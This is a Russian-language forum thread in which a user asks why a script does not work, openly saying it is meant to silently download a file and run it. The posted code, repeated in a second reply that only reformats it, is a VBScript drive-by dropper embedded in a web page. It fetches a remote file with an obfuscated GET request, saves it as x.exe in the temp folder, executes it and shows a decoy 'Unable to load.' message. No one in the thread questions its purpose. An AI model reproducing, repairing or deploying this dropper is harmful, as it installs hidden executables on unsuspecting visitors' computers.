Гость
Войти | Профиль | Очистить
Целевая тема:
Создать новую тему:
Автор:
Действия ...
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Не работает скрипт( / 2 сообщений из 2, страница 1 из 1
19.10.2015, 08:36
    #39079682
oxotnika
oxotnika
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Не работает скрипт(
Народ подскажите почему не срабатывает скрипт? По идее должно быть скрытое скачивание файла и его запуск.
Код:
<html>
<body>
<script type="text/vbscript">
Function SimpleBinaryToString(Binary)
Dim I, S
For I = 1 To LenB(Binary)
S = S & Chr(AscB(MidB(Binary, I, 1)))
Next
SimpleBinaryToString = S
End Function

Sub dl(url, dst)
dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
dim method: method = Chr(71) & Chr(69) & Chr(84)
xmlhttp.Open method, url, False
xmlhttp.Send
Dim i, objFile
Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
objFile.Close()
set xmlhttp = nothing
set objFile = nothing
End Sub
dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
dim url
url = "URLTOFILE"
dl url, dst
CreateObject("WScript.Shell").Run dst
</script>
<p>Unable to load.</p>
</body>
</html>
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
19.10.2015, 08:50
    #39079689
skyANA
skyANA
Участник
Скрыть профиль Поместить в игнор-лист Сообщения автора в теме
Не работает скрипт(
Как мне оформить свое сообщение?

Код: html
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
<html>
<body>
  <script type="text/vbscript">
    Function SimpleBinaryToString(Binary)
      Dim I, S
      For I = 1 To LenB(Binary)
        S = S & Chr(AscB(MidB(Binary, I, 1)))
      Next
      SimpleBinaryToString = S
    End Function

    Sub dl(url, dst)
      dim xmlhttp: Set xmlhttp = CreateObject("MSXML2.ServerXMLHTTP")
      dim method: method = Chr(71) & Chr(69) & Chr(84)
      xmlhttp.Open method, url, False
      xmlhttp.Send
      Dim i, objFile
      Set objFile = CreateObject("Scripting.FileSystemObject").OpenTextFile( dst, 2, True )
      objFile.WriteLine(SimpleBinaryToString(xmlhttp.ResponseBody))
      objFile.Close()
      set xmlhttp = nothing
      set objFile = nothing
    End Sub
    dim dst: dst = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\x.exe"
    dim url
    url = "URLTOFILE"
    dl url, dst
    CreateObject("WScript.Shell").Run dst
  </script>
  <p>Unable to load.</p>
</body>
</html>
...
Рейтинг: 0 / 0
| Ответить | Цитировать | Написать  
Форумы / HTML, JavaScript, VBScript, CSS [игнор отключен] [закрыт для гостей] / Не работает скрипт( / 2 сообщений из 2, страница 1 из 1
Найденые пользователи ...
Разблокировать пользователей ...
Читали тему (0):
Читали форум (0):
Пользователи онлайн (0):
Польз. соглашение  
Полит. конфиден.  
созд. / загр.: 504ms
Закрыть
start [/forum/topic.php?fid=22&mobile=1&tid=1445691]:
 0ms
get settings:
 10ms
get forum list:
 18ms
check forum access:
 3ms
check topic access:
 3ms
track hit:
 155ms
get topic data:
 10ms
get forum data:
 2ms
get page messages:
 46ms
get tp. blocked users:
 2ms
others: 255ms
total:  504ms
x
x
Закрыть


Просмотр
0 / 0
Close
Debug Console [Select Text]